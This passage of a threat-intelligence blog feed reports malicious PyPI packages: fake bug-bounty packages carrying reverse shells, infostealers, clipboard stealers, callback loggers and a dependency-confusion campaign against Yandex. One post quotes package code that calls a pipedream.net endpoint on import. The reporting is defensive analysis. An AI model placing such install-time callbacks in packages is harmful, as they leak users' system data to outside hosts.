<figure class="wp-block-image"><img width="1024" height="1024" src="https://ptesc.tech/wp-content/uploads/2024/12/photo_155@24-12-2024_14-57-47-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2024/12/photo_155@24-12-2024_14-57-47-1024x1024.jpg 1024w, https://ptesc.tech/wp-content/uploads/2024/12/photo_155@24-12-2024_14-57-47-300x300.jpg 300w, https://ptesc.tech/wp-content/uploads/2024/12/photo_155@24-12-2024_14-57-47-150x150.jpg 150w, https://ptesc.tech/wp-content/uploads/2024/12/photo_155@24-12-2024_14-57-47-768x768.jpg 768w, https://ptesc.tech/wp-content/uploads/2024/12/photo_155@24-12-2024_14-57-47.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="1024" src="https://ptesc.tech/wp-content/uploads/2024/12/photo_156@24-12-2024_14-57-47-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2024/12/photo_156@24-12-2024_14-57-47-1024x1024.jpg 1024w, https://ptesc.tech/wp-content/uploads/2024/12/photo_156@24-12-2024_14-57-47-300x300.jpg 300w, https://ptesc.tech/wp-content/uploads/2024/12/photo_156@24-12-2024_14-57-47-150x150.jpg 150w, https://ptesc.tech/wp-content/uploads/2024/12/photo_156@24-12-2024_14-57-47-768x768.jpg 768w, https://ptesc.tech/wp-content/uploads/2024/12/photo_156@24-12-2024_14-57-47.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="1024" src="https://ptesc.tech/wp-content/uploads/2024/12/photo_157@24-12-2024_14-57-47-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2024/12/photo_157@24-12-2024_14-57-47-1024x1024.jpg 1024w, https://ptesc.tech/wp-content/uploads/2024/12/photo_157@24-12-2024_14-57-47-300x300.jpg 300w, https://ptesc.tech/wp-content/uploads/2024/12/photo_157@24-12-2024_14-57-47-150x150.jpg 150w, https://ptesc.tech/wp-content/uploads/2024/12/photo_157@24-12-2024_14-57-47-768x768.jpg 768w, https://ptesc.tech/wp-content/uploads/2024/12/photo_157@24-12-2024_14-57-47.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="1024" src="https://ptesc.tech/wp-content/uploads/2024/12/photo_158@24-12-2024_14-57-47-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2024/12/photo_158@24-12-2024_14-57-47-1024x1024.jpg 1024w, https://ptesc.tech/wp-content/uploads/2024/12/photo_158@24-12-2024_14-57-47-300x300.jpg 300w, https://ptesc.tech/wp-content/uploads/2024/12/photo_158@24-12-2024_14-57-47-150x150.jpg 150w, https://ptesc.tech/wp-content/uploads/2024/12/photo_158@24-12-2024_14-57-47-768x768.jpg 768w, https://ptesc.tech/wp-content/uploads/2024/12/photo_158@24-12-2024_14-57-47.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="1024" src="https://ptesc.tech/wp-content/uploads/2024/12/photo_159@24-12-2024_14-57-47-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2024/12/photo_159@24-12-2024_14-57-47-1024x1024.jpg 1024w, https://ptesc.tech/wp-content/uploads/2024/12/photo_159@24-12-2024_14-57-47-300x300.jpg 300w, https://ptesc.tech/wp-content/uploads/2024/12/photo_159@24-12-2024_14-57-47-150x150.jpg 150w, https://ptesc.tech/wp-content/uploads/2024/12/photo_159@24-12-2024_14-57-47-768x768.jpg 768w, https://ptesc.tech/wp-content/uploads/2024/12/photo_159@24-12-2024_14-57-47.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="1024" src="https://ptesc.tech/wp-content/uploads/2024/12/photo_160@24-12-2024_14-57-47-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2024/12/photo_160@24-12-2024_14-57-47-1024x1024.jpg 1024w, https://ptesc.tech/wp-content/uploads/2024/12/photo_160@24-12-2024_14-57-47-300x300.jpg 300w, https://ptesc.tech/wp-content/uploads/2024/12/photo_160@24-12-2024_14-57-47-150x150.jpg 150w, https://ptesc.tech/wp-content/uploads/2024/12/photo_160@24-12-2024_14-57-47-768x768.jpg 768w, https://ptesc.tech/wp-content/uploads/2024/12/photo_160@24-12-2024_14-57-47.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="1024" src="https://ptesc.tech/wp-content/uploads/2024/12/photo_161@24-12-2024_14-57-47-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2024/12/photo_161@24-12-2024_14-57-47-1024x1024.jpg 1024w, https://ptesc.tech/wp-content/uploads/2024/12/photo_161@24-12-2024_14-57-47-300x300.jpg 300w, https://ptesc.tech/wp-content/uploads/2024/12/photo_161@24-12-2024_14-57-47-150x150.jpg 150w, https://ptesc.tech/wp-content/uploads/2024/12/photo_161@24-12-2024_14-57-47-768x768.jpg 768w, https://ptesc.tech/wp-content/uploads/2024/12/photo_161@24-12-2024_14-57-47.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="1024" src="https://ptesc.tech/wp-content/uploads/2024/12/photo_162@24-12-2024_14-57-47-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2024/12/photo_162@24-12-2024_14-57-47-1024x1024.jpg 1024w, https://ptesc.tech/wp-content/uploads/2024/12/photo_162@24-12-2024_14-57-47-300x300.jpg 300w, https://ptesc.tech/wp-content/uploads/2024/12/photo_162@24-12-2024_14-57-47-150x150.jpg 150w, https://ptesc.tech/wp-content/uploads/2024/12/photo_162@24-12-2024_14-57-47-768x768.jpg 768w, https://ptesc.tech/wp-content/uploads/2024/12/photo_162@24-12-2024_14-57-47.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<p><span class="hashtag">#ti</span> <span class="hashtag">#pypi</span> <span class="hashtag">#pyanalysis</span> <span class="hashtag">#scs</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Catching bug hunters again</title>
		<link>https://ptesc.tech/en/catching-bug-hunters-again/</link>
		
		<dc:creator><![CDATA[ti_author]]></dc:creator>
		<pubDate>Fri, 18 Oct 2024 15:07:46 +0000</pubDate>
				<category><![CDATA[Threat Intelligence]]></category>
		<category><![CDATA[pyanalysis]]></category>
		<category><![CDATA[pypi]]></category>
		<category><![CDATA[TI]]></category>
		<guid isPermaLink="false">http://localhost:8080/%d1%81%d0%bd%d0%be%d0%b2%d0%b0-%d0%bb%d0%be%d0%b2%d0%b8%d0%bc-%d0%b1%d0%b0%d0%b3%d1%85%d0%b0%d0%bd%d1%82%d0%b5%d1%80%d0%be%d0%b2/</guid>

					<description><![CDATA[Catching bug hunters again 💀 In one of our previous posts we wrote about traces of bug bounty activity targeting "Yandex". History repeated itself, but this time with us. An alert triggered on activity related to new malicious packages inno…]]></description>
										<content:encoded><![CDATA[<p><strong>Catching bug hunters again</strong> <strong> </strong><strong>💀</strong></p>
<p>In one of our <a href="https://t.me/ptescalator/65" rel="noopener" target="_blank">previous posts</a> we wrote about traces of bug bounty activity targeting &#8220;Yandex&#8221;. History repeated itself, but this time with us.</p>
<p>An alert triggered on activity related to new malicious packages <code>innostage</code> and <code>innostage_group</code>. The story is unusual: the developer&#8217;s email is <code>jiznetoigra@gmail.com</code> (oh, a Russian-speaking person!), and the payload is downloaded from the domains <code>files.inostage.ru</code> (mimicking <code>innostage-group.ru</code>) and <code>files.pythonhosted.ru</code> (mimicking <code>files.pythonhosted.org</code>). </p>
<p>Big respect to this person: they bothered to buy a domain, and on top of that, probably familiarized themselves with attacks carried out previously&#8230; We&#8217;re sending a report to the Python Package Index and notifying our colleagues at Innostage.</p>
<p>🐈  We suspect the author read <a href="https://checkmarx.com/blog/over-170k-users-affected-by-attack-using-fake-python-infrastructure/" rel="noopener" target="_blank">Checkmarx&#8217;s March article</a>, where a threat actor &#8220;trojanized&#8221; the colorama package. A pull request was made that, among other things, replaced the legitimate domain <code>files.pythonhosted.org</code> in distribution links with the attacker-controlled <code>files.pypihosted.org</code>.</p>
<p>Although the project description mentions that this is bug bounty, the person used reverse shells (as shown in the screenshots) as the payload rather than a callback (as the bug hunter from the &#8220;Yandex&#8221; story did). Not exactly a research approach, unfortunately.</p>
<p>Then, in addition to the <code>innostage</code> and <code>innostage_group</code> packages, <code>cyberart</code>, &#8230; <code>posi</code>, <code>maxpatrol</code>, and <code>ptsecurity</code> were added 🤨 Curious. The payload is still the same — reverse shells.</p>
<p>The domain <code>inostage.ru</code> has <a href="https://habr.com/ru/companies/pt/articles/796835/" rel="noopener" target="_blank">previously surfaced at Standoff</a>. So once again we&#8217;ve discovered bug hunter activity, and this time they&#8217;ve also interfered with research 🤬. Well then&#8230;</p>
<p>———<br />
<span class="spoiler">PT PyAnalysis. Professionally tracking bug hunters since 2024.</span></p>
<figure class="wp-block-image"><img width="1024" height="683" src="https://ptesc.tech/wp-content/uploads/2024/10/photo_94@18-10-2024_15-07-46-1024x683.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2024/10/photo_94@18-10-2024_15-07-46-1024x683.jpg 1024w, https://ptesc.tech/wp-content/uploads/2024/10/photo_94@18-10-2024_15-07-46-300x200.jpg 300w, https://ptesc.tech/wp-content/uploads/2024/10/photo_94@18-10-2024_15-07-46-768x512.jpg 768w, https://ptesc.tech/wp-content/uploads/2024/10/photo_94@18-10-2024_15-07-46.jpg 1200w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<p><span class="hashtag">#ti</span> <span class="hashtag">#pypi</span> <span class="hashtag">#pyanalysis</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Open source passions: part two</title>
		<link>https://ptesc.tech/en/open-source-passions-part-two/</link>
		
		<dc:creator><![CDATA[ti_author]]></dc:creator>
		<pubDate>Tue, 03 Sep 2024 17:03:22 +0000</pubDate>
				<category><![CDATA[Threat Intelligence]]></category>
		<category><![CDATA[pyanalysis]]></category>
		<category><![CDATA[pypi]]></category>
		<category><![CDATA[stealer]]></category>
		<category><![CDATA[TI]]></category>
		<guid isPermaLink="false">http://localhost:8080/%d1%81%d1%82%d1%80%d0%b0%d1%81%d1%82%d0%b8-%d0%be%d0%bf%d0%b5%d0%bd%d1%81%d0%be%d1%80%d1%81%d0%b0-2/</guid>

					<description><![CDATA[Open source passions: part two Infostealers 🧋 No one is surprised by them anymore, since this is a popular class of malware, often mentioned in the news. Most trojans steal our data, but they do it without respect. And then developer George…]]></description>
										<content:encoded><![CDATA[<p><strong>Open source passions:</strong> part two</p>
<p><strong>Infostealers</strong> 🧋</p>
<p>No one is surprised by them anymore, since this is a popular class of malware, often mentioned in the news. Most trojans steal our data, but they do it without respect. And then developer <code>GeorgeTheMightyDev</code> thought: &#8220;What if&#8230;&#8221;</p>
<p>And released the <code>pojang-resorter</code> package, which thanks you for installing its application, because you give it the ability to take a screenshot and send it to a Discord server (screenshot 1). In future versions, the payload will be packed with PyInstaller and the code will be obfuscated, but we appreciated the author&#8217;s initial nobility ❌</p>
<p><strong>1001 mimicry of requests</strong> 😵‍💫</p>
<p>Attackers never stop using the codebase of the popular requests library to hide their malicious payload. Over these two weeks, this happened with the packages <code>flophttp</code> and <code>invokehttp</code>. Since in both cases the author signed himself as Kiany Reeves, we have no doubt that this is a single campaign 🐶</p>
<p>The malicious payload is located in <code>__init__.py</code> and is an obfuscated one-liner (screenshot 2). Considering that the author assigns aliases such as <code>borrow</code>, <code>blacktrone</code>, <code>pickachu</code>, <code>takihao</code> to libraries and methods (screenshot 3), it becomes clear that our attacker is a man of culture.</p>
<p><strong>Callback season</strong> 🏖</p>
<p>Recently, there has been a particular surge in popularity of simple trojan loggers, whose only task is to call back to the attacker during the installation or import stage of the package, optionally carrying away information about the system, and sometimes also environment variables. </p>
<p>Screenshots 4–7 present various implementations of such functionality: these are the packages <code>artifact-lab-3-package-77d0c154</code>, <code>artifact-lab-3-package-89883da3</code>, <code>tiktok-session-lite-sdk</code>.</p>
<p>———</p>
<p>Did you know about the pip feature with no repository priorities? We hope you found it interesting 👍</p>
<figure class="wp-block-image"><img width="1024" height="1024" src="https://ptesc.tech/wp-content/uploads/2024/09/photo_45@03-09-2024_17-03-23-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2024/09/photo_45@03-09-2024_17-03-23-1024x1024.jpg 1024w, https://ptesc.tech/wp-content/uploads/2024/09/photo_45@03-09-2024_17-03-23-300x300.jpg 300w, https://ptesc.tech/wp-content/uploads/2024/09/photo_45@03-09-2024_17-03-23-150x150.jpg 150w, https://ptesc.tech/wp-content/uploads/2024/09/photo_45@03-09-2024_17-03-23-768x767.jpg 768w, https://ptesc.tech/wp-content/uploads/2024/09/photo_45@03-09-2024_17-03-23.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="1024" src="https://ptesc.tech/wp-content/uploads/2024/09/photo_46@03-09-2024_17-03-23-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2024/09/photo_46@03-09-2024_17-03-23-1024x1024.jpg 1024w, https://ptesc.tech/wp-content/uploads/2024/09/photo_46@03-09-2024_17-03-23-300x300.jpg 300w, https://ptesc.tech/wp-content/uploads/2024/09/photo_46@03-09-2024_17-03-23-150x150.jpg 150w, https://ptesc.tech/wp-content/uploads/2024/09/photo_46@03-09-2024_17-03-23-768x767.jpg 768w, https://ptesc.tech/wp-content/uploads/2024/09/photo_46@03-09-2024_17-03-23.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="1024" src="https://ptesc.tech/wp-content/uploads/2024/09/photo_47@03-09-2024_17-03-23-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2024/09/photo_47@03-09-2024_17-03-23-1024x1024.jpg 1024w, https://ptesc.tech/wp-content/uploads/2024/09/photo_47@03-09-2024_17-03-23-300x300.jpg 300w, https://ptesc.tech/wp-content/uploads/2024/09/photo_47@03-09-2024_17-03-23-150x150.jpg 150w, https://ptesc.tech/wp-content/uploads/2024/09/photo_47@03-09-2024_17-03-23-768x767.jpg 768w, https://ptesc.tech/wp-content/uploads/2024/09/photo_47@03-09-2024_17-03-23.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="1024" src="https://ptesc.tech/wp-content/uploads/2024/09/photo_48@03-09-2024_17-03-23-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2024/09/photo_48@03-09-2024_17-03-23-1024x1024.jpg 1024w, https://ptesc.tech/wp-content/uploads/2024/09/photo_48@03-09-2024_17-03-23-300x300.jpg 300w, https://ptesc.tech/wp-content/uploads/2024/09/photo_48@03-09-2024_17-03-23-150x150.jpg 150w, https://ptesc.tech/wp-content/uploads/2024/09/photo_48@03-09-2024_17-03-23-768x767.jpg 768w, https://ptesc.tech/wp-content/uploads/2024/09/photo_48@03-09-2024_17-03-23.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="1024" src="https://ptesc.tech/wp-content/uploads/2024/09/photo_49@03-09-2024_17-03-23-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2024/09/photo_49@03-09-2024_17-03-23-1024x1024.jpg 1024w, https://ptesc.tech/wp-content/uploads/2024/09/photo_49@03-09-2024_17-03-23-300x300.jpg 300w, https://ptesc.tech/wp-content/uploads/2024/09/photo_49@03-09-2024_17-03-23-150x150.jpg 150w, https://ptesc.tech/wp-content/uploads/2024/09/photo_49@03-09-2024_17-03-23-768x767.jpg 768w, https://ptesc.tech/wp-content/uploads/2024/09/photo_49@03-09-2024_17-03-23.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="1024" src="https://ptesc.tech/wp-content/uploads/2024/09/photo_50@03-09-2024_17-03-23-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2024/09/photo_50@03-09-2024_17-03-23-1024x1024.jpg 1024w, https://ptesc.tech/wp-content/uploads/2024/09/photo_50@03-09-2024_17-03-23-300x300.jpg 300w, https://ptesc.tech/wp-content/uploads/2024/09/photo_50@03-09-2024_17-03-23-150x150.jpg 150w, https://ptesc.tech/wp-content/uploads/2024/09/photo_50@03-09-2024_17-03-23-768x767.jpg 768w, https://ptesc.tech/wp-content/uploads/2024/09/photo_50@03-09-2024_17-03-23.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<p><span class="hashtag">#ti</span> <span class="hashtag">#stealer</span> <span class="hashtag">#pypi</span> <span class="hashtag">#pyanalysis</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Open source passions: mafia, stealers, and bug bounty hunting of Yandex projects</title>
		<link>https://ptesc.tech/en/open-source-passions-mafia-stealers-and-bug-bounty-hunting-of-yandex-projects/</link>
		
		<dc:creator><![CDATA[ti_author]]></dc:creator>
		<pubDate>Tue, 03 Sep 2024 14:18:07 +0000</pubDate>
				<category><![CDATA[Threat Intelligence]]></category>
		<category><![CDATA[pyanalysis]]></category>
		<category><![CDATA[pypi]]></category>
		<category><![CDATA[TI]]></category>
		<guid isPermaLink="false">http://localhost:8080/%d1%81%d1%82%d1%80%d0%b0%d1%81%d1%82%d0%b8-%d0%be%d0%bf%d0%b5%d0%bd%d1%81%d0%be%d1%80%d1%81%d0%b0/</guid>

					<description><![CDATA[Open Source Drama: Mafia, Stealers, and Bug Hunting of Yandex Projects 🐱 Over the past two weeks, a lot of interesting things have happened in the Python Package Index. We armed ourselves with the verdicts of the machine learning model from…]]></description>
										<content:encoded><![CDATA[<p><strong>Open Source Drama: </strong>Mafia, Stealers, and Bug Hunting of Yandex Projects <strong> </strong><strong>🐱</strong><strong><br />
</strong><br />
Over the past two weeks, a lot of interesting things have happened in the Python Package Index. We armed ourselves with the verdicts of the machine learning model from the <a href="https://www.ptsecurity.com/ru-ru/services/pt-pyanalysis/" rel="noopener" target="_blank">PT PyAnalysis</a> service to tell you about notable detections.</p>
<p><strong>Bug Hunters vs. Yandex</strong></p>
<p>Back in January 2023, a user with the handle <code>yandex.bughunter</code> registered five packages with different text variations:</p>
<pre><code>
import subprocess
import os
import requests

#I am  bughunter
#t.a.neo@yandex.ru
print(&#039;it works!&#039;)
requests.get(&quot;https://76c4[REDACTED]f5d3.m.pipedream.net/example-package-taxi-etl&quot;)
</code></pre>
<pre><code>
import requests
#I am  bughunter
#t.a.neo@yandex.ru
print(&#039;If you read this message and you are from Yandex write me t.a.neo@yandex.ru&#039;)
requests.get(&quot;https://76c4[REDACTED]f5d3.m.pipedream.net/dmp_suite&quot;)
</code></pre>
<p>The package descriptions are identical: <code>I created this package for security testing. I am bughunter from Yandex</code>. </p>
<p>But it is strange that in the PyPI project metadata, the author identifies themselves as <code>Thomas Anderson &lt;t.a.neo@yandex.ru&gt;</code>, meaning they use a personal email, not corporate ones like <code>@team.yandex.ru / @yandex-team.ru</code> ❕<code><br />
</code><br />
Not to mention that <code>Thomas Anderson</code> is the very same Mr. Anderson from The Matrix&#8230;</p>
<p>This person is simulating a supply-chain attack by registering a package in the global repository with the same name as a package that exists in the internal repository of a specific developer group (in this case, the Yandex team).</p>
<p><strong>Installation of a package from the global repository will occur if:</strong></p>
<p>🔤 The package manager (hereinafter PM) does not support setting download priorities from a list of repositories. There have long been heated debates about pip selecting the best version of a package from all repositories specified in its config. Poetry does not have this problem.</p>
<p>🔤 The PM is not configured to use the internal repository. This could happen on a new device of a new colleague who has not yet completed the onboarding guide.</p>
<p>🔤 The PM config prioritizes the internal repository over the global one, but the internal one is currently unavailable for some reason.</p>
<p>🔤 The PM config prioritizes the global repository over the internal one (&#8220;If the package is not in the global repository, then it is our package and should be installed from the internal one&#8221;).</p>
<p>A conflict in repository usage order already occurred in December 2022 <a href="https://pytorch.org/blog/compromised-nightly-dependency/" rel="noopener" target="_blank">in the well-known attack on torch nightly releases</a>. The attacker registered the <code>torchtriton</code> library in the global PyPI repository, which was usually pulled from a configured internal repository. The package installation was done via pip: that&#8217;s the whole secret of the kill chain.</p>
<p> 😰  In August 2024, we noticed that the authorship of one of the packages from user <code>yandex.bughunter</code> was taken over by <code>yandex-bot — an account</code> that owns 1279 packages with interesting names, such as <code>yandex-soc-services-sdk</code>, <code>yandex-cloud-ml-sdk-preview</code>, <code>yandex-infradev-tool</code>&#8230;  </p>
<p>In all these packages, the author is listed as <code>Yandex &lt;security@yandex-team.ru&gt;</code>. The description states: <code>A package to prevent Dependency Confusion attacks against Yandex</code>, and the packages themselves raise an exception when an attempt is made to install them:</p>
<pre><code>
class InstallCommand(install):
    def run(self):
        raise RuntimeError(&quot;You are trying to install a stub package yandex-cloud-ml-sdk-preview. Maybe you are using the wrong pypi? See https://nda.ya.ru/t/GljG[REDACTED]zAGGz for details&quot;)
</code></pre>
<p>We have no details on how <code>yandex.bughunter</code> learned the list of packages from Yandex&#8217;s internal kitchen, but it seems the company noticed this and started negotiating with the bug hunter. Or is quietly taking over the packages through PyPI administration 🐱</p>
<p>To be continued&#8230;</p>
<p><span class="hashtag">#ti</span> <span class="hashtag">#pypi</span> <span class="hashtag">#pyanalysis</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Adding bookmarks to open-source repositories? Young man, come with us.</title>
		<link>https://ptesc.tech/en/do-you-add-bookmarks-to-open-source-repositories-young-man-come-with-me/</link>
		
		<dc:creator><![CDATA[ti_author]]></dc:creator>
		<pubDate>Tue, 23 Jul 2024 14:22:31 +0000</pubDate>
				<category><![CDATA[Threat Intelligence]]></category>
		<category><![CDATA[pyanalysis]]></category>
		<category><![CDATA[pypi]]></category>
		<category><![CDATA[stealer]]></category>
		<category><![CDATA[TI]]></category>
		<guid isPermaLink="false">http://localhost:8080/%d0%b4%d0%be%d0%b1%d0%b0%d0%b2%d0%bb%d1%8f%d0%b5%d1%82%d0%b5-%d0%b7%d0%b0%d0%ba%d0%bb%d0%b0%d0%b4%d0%ba%d0%b8-%d0%b2-%d0%be%d0%bf%d0%b5%d0%bd%d1%81%d0%be%d1%80%d1%81-%d1%80%d0%b5%d0%bf%d0%be%d0%b7/</guid>

					<description><![CDATA[🤨 Adding bookmarks to open-source repositories? Young man, come with us. As part of threat intelligence, in addition to researching "traditional" malware, we also hunt for backdoors in the Python Package Index repository using the PT PyAnal…]]></description>
										<content:encoded><![CDATA[<p>🤨 <strong>Adding bookmarks to open-source repositories? Young man, come with us.</strong></p>
<p>As part of threat intelligence, in addition to researching &#8220;traditional&#8221; malware, we also hunt for backdoors in the Python Package Index repository using the <a href="https://www.ptsecurity.com/ru-ru/services/pt-pyanalysis" rel="noopener" target="_blank">PT PyAnalysis service</a>.</p>
<p>The trend is such that not a week goes by without trojans ☕️. What&#8217;s more, attackers upload not only full-featured infostealers, but also their little fledgling attempts.</p>
<p><strong>PT PyAnalysis has smeared the projects of several developers over the past few days; let&#8217;s talk about the most interesting creations:</strong></p>
<p>🤔 <strong>Screenshots 1, 2</strong>. A campaign with an Android stealer containing Arabic comments. It sends files via a Telegram bot (we wrote about how to detect them in your infrastructure&#8217;s network traffic <a href="https://t.me/ptescalator/26" rel="noopener" target="_blank">here</a>), whose token is hardcoded in the code. The packages have names like <code>raquest</code>, <code>ebell</code>.</p>
<p>🤔 <strong>Screenshot 3</strong>. A series of clippers (trojans that steal data from the clipboard) masquerading as license checks. They persist on Windows devices by adding an autostart entry to the registry. They listen to the clipboard every second, and if there are changes, they send the data to a Discord channel. The packages have names like <code>testjsonn1</code>, <code>testjson2</code>, <code>gentorqkkh</code>.</p>
<p>🤔 <strong>Screenshots 4, 5.</strong> A stealer that scans drives in search of <code>.env</code> files, harvests SSH keys from standard paths, and sends all the loot to the attacker&#8217;s server using the curl utility. It has logic that depends on the target platform: one for Windows, one for Linux and MacOS. Package: <code>popeye-pip-v3</code>. The developer&#8217;s name speaks for itself: <code>shyam_the_hacker</code>.</p>
<p><strong>We notified the Python Package Index, the packages have been whacked</strong> 👋 </p>
<p>Despite the fact that the names of these packages look unsophisticated and you&#8217;re unlikely to make a typo by writing <code>raquest</code> instead of <code>requests</code>, such packages can reach you through transitive dependencies. Building an internal secure mirror is a complex but vitally important element for ensuring modern secure development ❤️</p>
<figure class="wp-block-image"><img width="1024" height="1024" src="https://ptesc.tech/wp-content/uploads/2024/07/photo_24@23-07-2024_14-22-31-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2024/07/photo_24@23-07-2024_14-22-31-1024x1024.jpg 1024w, https://ptesc.tech/wp-content/uploads/2024/07/photo_24@23-07-2024_14-22-31-300x300.jpg 300w, https://ptesc.tech/wp-content/uploads/2024/07/photo_24@23-07-2024_14-22-31-150x150.jpg 150w, https://ptesc.tech/wp-content/uploads/2024/07/photo_24@23-07-2024_14-22-31-768x768.jpg 768w, https://ptesc.tech/wp-content/uploads/2024/07/photo_24@23-07-2024_14-22-31.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="1024" src="https://ptesc.tech/wp-content/uploads/2024/07/photo_25@23-07-2024_14-22-31-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2024/07/photo_25@23-07-2024_14-22-31-1024x1024.jpg 1024w, https://ptesc.tech/wp-content/uploads/2024/07/photo_25@23-07-2024_14-22-31-300x300.jpg 300w, https://ptesc.tech/wp-content/uploads/2024/07/photo_25@23-07-2024_14-22-31-150x150.jpg 150w, https://ptesc.tech/wp-content/uploads/2024/07/photo_25@23-07-2024_14-22-31-768x768.jpg 768w, https://ptesc.tech/wp-content/uploads/2024/07/photo_25@23-07-2024_14-22-31.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="1024" src="https://ptesc.tech/wp-content/uploads/2024/07/photo_26@23-07-2024_14-22-31-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2024/07/photo_26@23-07-2024_14-22-31-1024x1024.jpg 1024w, https://ptesc.tech/wp-content/uploads/2024/07/photo_26@23-07-2024_14-22-31-300x300.jpg 300w, https://ptesc.tech/wp-content/uploads/2024/07/photo_26@23-07-2024_14-22-31-150x150.jpg 150w, https://ptesc.tech/wp-content/uploads/2024/07/photo_26@23-07-2024_14-22-31-768x768.jpg 768w, https://ptesc.tech/wp-content/uploads/2024/07/photo_26@23-07-2024_14-22-31.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="1024" src="https://ptesc.tech/wp-content/uploads/2024/07/photo_27@23-07-2024_14-22-31-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2024/07/photo_27@23-07-2024_14-22-31-1024x1024.jpg 1024w, https://ptesc.tech/wp-content/uploads/2024/07/photo_27@23-07-2024_14-22-31-300x300.jpg 300w, https://ptesc.tech/wp-content/uploads/2024/07/photo_27@23-07-2024_14-22-31-150x150.jpg 150w, https://ptesc.tech/wp-content/uploads/2024/07/photo_27@23-07-2024_14-22-31-768x768.jpg 768w, https://ptesc.tech/wp-content/uploads/2024/07/photo_27@23-07-2024_14-22-31.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<p><span class="hashtag">#ti</span> <span class="hashtag">#stealer</span> <span class="hashtag">#pypi</span> <span class="hashtag">#pyanalysis</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
